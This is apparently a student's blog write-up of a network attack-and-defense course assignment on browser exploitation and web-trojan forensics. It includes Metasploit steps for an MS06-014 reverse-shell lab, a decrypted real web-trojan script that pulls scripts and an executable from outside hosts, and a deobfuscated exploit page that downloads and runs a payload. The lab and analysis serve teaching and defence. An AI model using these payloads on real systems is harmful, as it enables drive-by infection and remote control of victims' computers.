20199316 2019-2020-2 《网络攻防实践》第12周作业

学号 2019-2020-2 《网络攻防实践》第12周作业

1.实践内容

1.Web浏览器的技术发展与安全威胁

1.1 Web浏览器战争与技术发展

  • Web浏览器是目前互联网用户最常用的客户端软件,可以帮助用户浏览Web服务器上的文件,并让用户与这些文件进行交互,在Web浏览器的帮助下,互联网用户能够迅速及轻易地浏览万维网上文字、图像、视频等各种形态的信息内容,以及访问各种形式与用途的Web应用程序。
  • 现代Web浏览器的基本结构:需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,以及支持CSS标准页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户(图)

1.2 Web浏览的安全问题与威胁

  • Web浏览器软件的安全困境三要素:
1. 复杂性:现代Web浏览器软件由于需要支持多类型的应用层协议浏览,符合一系列的页面标准规范,支持多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
2. 可扩展性:现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前几乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Internet应用程序。
3. 连通性::浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
  • Web浏览安全威胁位置
    1.针对传输网络的网络安全协议安全威胁
    2.针对Web端系统平台的安全威胁
    3.针对Web浏览器软件及插件程序的渗透攻击威胁
    4.针对互联网用户的社会工程学攻击威胁

  • web浏览安全威胁类型
    1.网络钓鱼:设钓鱼网站,如知名金融机构及商务网站,发送大量欺骗性垃圾邮件,诱骗因特网用户访问钓鱼网站并以敏感信息登录,最后滥用个人敏感信息。
    2.恶意木马与流氓软件下载:主要包括两大问题:软件捆绑安装问题 ,Web浏览时遭遇的软件信任问题 。
    3.网页木马:网页感染已成为国内互联网最重要的恶意代码传播形式
    4.不良信息内容

2.Web浏览端的渗透攻击威胁——网页木马

2.1木马的机理

  • 本质核心——浏览器渗透攻击:不安全方法类安全漏洞、利用堆内存操纵技术
  • 网页挂马机制:内嵌HTML标签(iframe,frame,body的onload事件,CSS标签中包含链接)、恶意Script脚本(通过外部引用脚本的方式包含网页木马)、内嵌对象链接(利用图片、Flash等内嵌对象中的特定方法完成页面加载)、ARP欺骗挂马。
  • 混淆机制

2.2网页木马的检测与分析技术

  • 基于特征码匹配的传统检测方法:在网页木马作为一种新形态的恶意代码产生后,反病毒软件公司仍延用恶意脚本代码静态分析过程来提取其中具有样本特异性的特征码,然后在线更新至反病毒客户端软件中,使用传统的基于特征码检测方法来尝试从互联网用户上网浏览过程中检测出网页木马
  • 基于统计与机器学习的静态分析:包括基于判断矩阵法的网页恶意脚本检测方法、基于静态启发式规则的检测方法、基于多异常语义特征加权的恶意网页检测方法以及基于分类算法的混淆恶意脚本检测方法等
  • 基于动态行为结果判定的检测分析:最为有效的方式;利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型Web访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马
  • 基于模拟浏览器环境的动态分析检测:以脚本执行引擎为核心,通过第三方空间构建出一个虚拟的低交互式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态,并进一步结合反病毒引擎扫描等方法对网页木马进行分析和检测

2.3 网页木马防范措施

  • 安装补丁:改名或卸载(反注册)最不安全的ActiveXObject(IE插件)
  • 改名:需要说明的是,改名一个控件时,控件的名称和CLSID(Class ID)都要改,并且要改彻底。
  • 安全级别:有些网马只要调高IE的安全级别,或者禁用脚本,该网页木马就不起作用了。

2.实践过程

  1. 动手实践——web浏览器渗透攻击实验

名称 ip地址
攻击机kali 192.168.200.2
win2000 192.168.200.124
1.在kali中打开msfconsole,搜索MS06-014,发现一个可使用的module。
2.设置攻击机地址 set LHOST 192.168.200.2 ,设置payloadset payload windows/meterpreter/reverse_tcp ,攻击 exploit
3.得到有木马的网址 http://192.168.200.2:8080/PmT4cSeT,在靶机中访问该地址,再回到攻击机中发现已经建立会话,攻击完成。

4.用sessions查看目前的连接,使用命令 sessions 1 选择会话1,返回 meterpreter ,此时攻击机便可以在靶机上执行命令。

5.使用getuid查看当前权限为administrator,使用ifconfig查看靶机IP。

2.取证分析实践:剖析一个实际的网页木马攻击场景


1.由于网站无法访问,根据资料,应该先访问start.html,在引用 new09.htm 没有写绝对路径,所以 new09.htm 文件与 start.html 文件在同一目录下。 new09.htm中,用 iframe 引用了一个http://aa.18dd.net/aa/kl.htm, 又用 javascript 引用了一个 http://js.users.51.la/1299644.js

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe> 
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script> 


MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3 
MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3 

2.查看hashed文件中对应的文件,使用记事本打开。23180a42a2ff1192150231b44ffdf3d3中的内容如下,不是我们要找的内容。

3.7f60672dcd6b5e90b6772545ee219bd3文件中的内容比较复杂,但实际上这是一种被称为 XXTEA+Base64 的加密方法。

xxtea_decrypt函数的第二个参数就是密钥 \x73\x63\x72\x69\x70\x74
4.转换16进制数可得密码

5.访问 http://www.cha88.cn/safe/xxtea.php ,在密钥一栏中填入“script”,在下面大的文
本框中粘贴那个文件的全部内容,点“解密”,得到文本框的内容为16进制(这里网页依旧无法访问),解密得:

function init(){document.write();} 
window.onload = init; 
if(document.cookie.indexOf('OK')==-1){ 
try{var e; 
var ado=(document.createElement("object")); 
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); 
var as=ado.createobject("Adodb.Stream","")} 
catch(e){}; 
finally{ var expires=new Date(); 
expires.setTime(expires.getTime()+24*60*60*1000); 
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString(); 
if(e!="[object Error]"){ 
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} 
else{ 
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; 
finally{if(g!="[object Error]"){ 
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}} 
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} 
catch(h){}; 
finally{if(h!="[object Error]"){ 
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} 
}}} 

6.由上可以看到利用到的应用程序漏洞有:

  • Adodb.Stream 微软数据库访问对象漏洞;
  • MPS.StormPlayer 暴风影音漏洞;
  • POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞;
  • BaiduBar.Tool 百度搜霸漏洞;
    除此之外还可以看到这个文件还引用了三个js文件和一个压缩包(bd.cab,解开后是bd.exe),对他们作MD5散列:
MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4 
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166 
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2 
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2

7.依次打开上述文件

  • 首先看5d7e9058a857aa2abee820d5473c5fa4,是用16进制加密,解开得:

  • 然后看3870c28cc279d457746b3796a262f166
  • 查看5f0b8bf0385314dbe0e5ec95e6abedc2

  • 对以上3个exe文件进行MD5散列如下:
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

8.使用PEiD查看可执行文件的加壳情况,发现是用 Delphi写的。
uploading-image-176899.png
9.用IDA反汇编这个exe文件,查看字符串可以发现:
(1)生成一个叫Alletdel.bat的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件。
上述由以下内容看出:" goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del "","del %0","if exist ";
(2)可能在磁盘根目录下生成自动运行的文件,用户不小心时启动程序。
上述由以下内容看出:":\AutoRun.inf","[AutoRun]open=","AutoRun.inf","shell\Auto\command=";

(3)对IE、注册表、服务和系统文件动手脚。
上述由以下内容看出"advapi32.dll", "drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 执行保护", "IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli"), "Kernel32.dll", "SOFTWARE\Borland\Delphi\RTL", "ChangeServiceConfig2A", "ChangeServiceConfig2W" , "QueryServiceConfig2A","QueryServiceConfig2W"

(5)这个程序要下载一堆木马,一堆形如"http://down.18dd.net/kl/**.exe"的字符串,0~19共20个.

  1. Web浏览器渗透攻击对抗实验


1.打开实验中的ms06-014漏洞js代码。关键指令做了字符串拼接处理和大量的空白间隔。

2.用在线工具https://www.sojson.com/jsjiemi.html, 反混淆和去掉js代码中的空格。

< html > < head > < title > < /title>
<script language="javascript">function KnAmGt(o,n)
{var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r)			  {try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function hRZsZenIWZGSquVYwDztwzXS(a){var s=KnAmGt(a,"WScript.Shell");var o=KnAmGt(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\KvJyzvxl.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function EeqjlsFOA(){var i=0;var t=new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
',' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
',' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
',' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
',' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
',' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
',' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
',null);while(t[i]){var a=null;if(t[i].substring(0,1)==' {
'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=KnAmGt(a,"WScript.Shell");if(b){hRZsZenIWZGSquVYwDztwzXS(a);return(0)}}catch(e){}}i++}}</script></head><body onload='
EeqjlsFOA()
'>GNNkmzjVHPe</body></html>
  1. Web浏览器遭遇攻击、取证分析


1.列出在捕获文件中的应用层协议类型, 你认为攻击是针对哪个或哪些协议的?
应用层协议主要有
(1)域名系统(DNS):用于实现网络设备名字到IP地址映射的网络服务。
(2)文件传输协议(FTP):用于实现交互式文件传输功能。
(3)简单邮件传送协议 SMTP):用于实现电子邮箱传送功能。
(4)超文本传输协议(HTTP):用于实现WWW服务。
(5)简单网络管理协议(SNMP):用于管理与监视网络设备。
(6)远程登录协议(Telnet):用于实现远程登录功能。
2.用wirshark打开pcap文件,可以统计一下主要流量为HTTP/TCP协议。应该是针对TCP协议。

3.列出捕获文件中的 IP 地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
通过统计功能,并在wireshark显示IP地址对应名称,可以选择Name resolution复选框。要查看IP名称解析,进入View | Name Resolution | Enable for Network layer进行激活。攻击场景应该是虚拟机,因为出现了很多mac地址相同的主机。

4.列出捕获文件中的所有网页页面, 其中哪些页面包含了可疑的、可能是恶意的
JavaScript 脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?

5.打开session_0006.part_01.html,现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是Rapidshare.com的高级账号(网站创立于2003年,是世界知名的文件上传下载托管服务网站)

6.根据资料提示再查看session_0032.part_01.html,会提示网站受损。

7.再找到session_0007.part_02.html。

8.请给出攻击者执行攻击动作的概要描述(ip地址10.0.2.15)。
其首先让受害者登陆到构建的假的Rapidshare.com,在里面的js脚本将该内容又被重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f, 其中包含一些javascript。最后返回一个404界面。
9.攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
追踪TCP 流,可以看到这是一个针对Windows XP系统下IE浏览器漏洞。

10.Shellcode 执行了哪些动作?请列出 Shellcode 的 MD5,并比较它们之间的差异?
Shellcode获取系统临时文件路径,加载urlmon.dll,从 URL http://sploitme.com.cn/fg/load.php?e=1检索可执行文件,然后执行它。 Shellcode 之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。

11.在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
有,目的是下载可执行文件并在本地执行。

3.学习中遇到的问题及解决

  • 问题1:chaosreader的安装
  • 问题1解决方案:参考博客流量取证-提取文件
  • 问题2:8进制数字转化为字符.
  • 问题2解决办法:未解决
  • 问题3:不知道如何进行混淆处理组装成一个URL
  • 问题3解决办法:未解决

4.实践总结

这次的实践涉及到的东西,譬如混淆,加密等真的不会,看了大佬们的博客也很难顶。实验虽然做下来了,但是问问题大概率一问三不知,希望老师见谅。真的尽力了oRZ...(完成于攻防课前一晚十二点)

参考资料

  • 《网络攻防技术与实践》(诸葛建伟著)
  • 大佬博客
posted @ 2020-05-20 22:13  乔延松20199316  阅读(421)  评论(0编辑  收藏  举报